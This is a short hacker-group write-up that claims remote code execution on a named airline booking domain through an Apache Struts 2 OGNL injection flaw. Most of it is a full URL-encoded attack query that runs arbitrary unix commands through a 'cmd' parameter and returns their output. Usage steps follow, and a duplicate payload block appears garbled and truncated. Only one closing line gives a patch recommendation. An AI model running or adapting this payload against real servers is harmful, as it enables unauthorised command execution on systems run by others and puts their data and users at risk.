

# Remote Code Execution On qatar Domain

## By:-Hackerdesk Team

Domain:- <http://booking.qatarairways.com>

Attack Details:-

Apache Struts 2 Exploit:- OGNL provides, among other features, extensive expression evaluation capabilities. A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, afterward used as request parameter of a redirect address, which will cause a further evaluation.

OGNL evaluation was already addressed in S2-003 and S2-005 and S2-009, but, since it involved just the parameter's name, it turned out that the resulting fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially.

Working Exploit:-

Link:- <http://booking.qatarairways.com>

Attack Query:-

```
(%27%5C43_memberAccess.allowStaticMethodAccess%27)
(a)=true&(b)((%27%5C43context%5B%5C%27xwork.Meth
odAccessor.denyMethodExecution%5C%27%5D%5C75false
%27)(b))&(%27%5C43c%27)((%27%5C43_memberAccess.
excludeProperties%5C75@java.util.Collections@EMPTY_SE
T%27)(c))&(g)((%27%5C43req%5C75@org.apache.struts2.
ServletActionContext@getRequest()%27)(d))&(h)((%27%5
C43webRootzpro%5C75@java.lang.Runtime@getRuntime().
exec(%5C43req.getParameter(%22cmd%22))%27)(d))&(i)
((%27%5C43webRootzproreader%5C75new%5C40java.io.
DataInputStream(%5C43webRootzpro.getInputStream())%
27)(d))&(i01)((%27%5C43webStr%5C75new%5C40byte%
5B5100%5D%27)(d))&(i1)((%27%5C43webRootzproreade
r.readFully(%5C43webStr)%27)(d))&(i111)((%27%5C43w
ebStr12%5C75new%5C40java.lang.String(%5C43webStr)%
27)(d))&(i2)((%27%5C43xman%5C75@org.apache.struts2.
ServletActionContext@getResponse()%27)(d))&(i2)((%27
%5C43xman%5C75@org.apache.struts2.ServletActionConte
xt@getResponse()%27)(d))&(i95)((%27%5C43xman.getWriter().println(%5C43webStr12)%27)(d))&(i99)((%27%5C4
3xman.getWriter().close()%27)(d))&cmd=id
```



```
ebRootzpro.getInputStream%28%29%29%27%29%28d%29%29&%28i01%29%28%28%27\43webStr\75new\40byte[5100]%27%29%28d%29%29&%28i1%29%28%28%27\43webRootzproreader.readFully%28\43webStr%29%27%29%28d%29%29&%28i111%29%28%28%27\43webStr12\75new\40java.lang.String%28\43webStr%29%27%29%28d%29%29&%28i2%29%28%28%27\43xman\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i2%29%28%28%27\43xman\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i95%29%28%28%27\43xman.getWriter%28%29.println%28\43webStr12%29%27%29%28d%29%29&%28i99%29%28%28%27\43xman.getWriter%28%29.close%28%29%27%29%28d%29%29&cmd=id
```

On cmd just enter the unix command you want to execute.

3.It ask you to download the file.

4. Just download that action file and open it with text editor.

5. You see the result of that command after execution on that page.

How to Patch:-

It is strongly recommended to upgrade to Struts 2.3.14.1, which contains the corrected OGNL and XWork library.

Thanks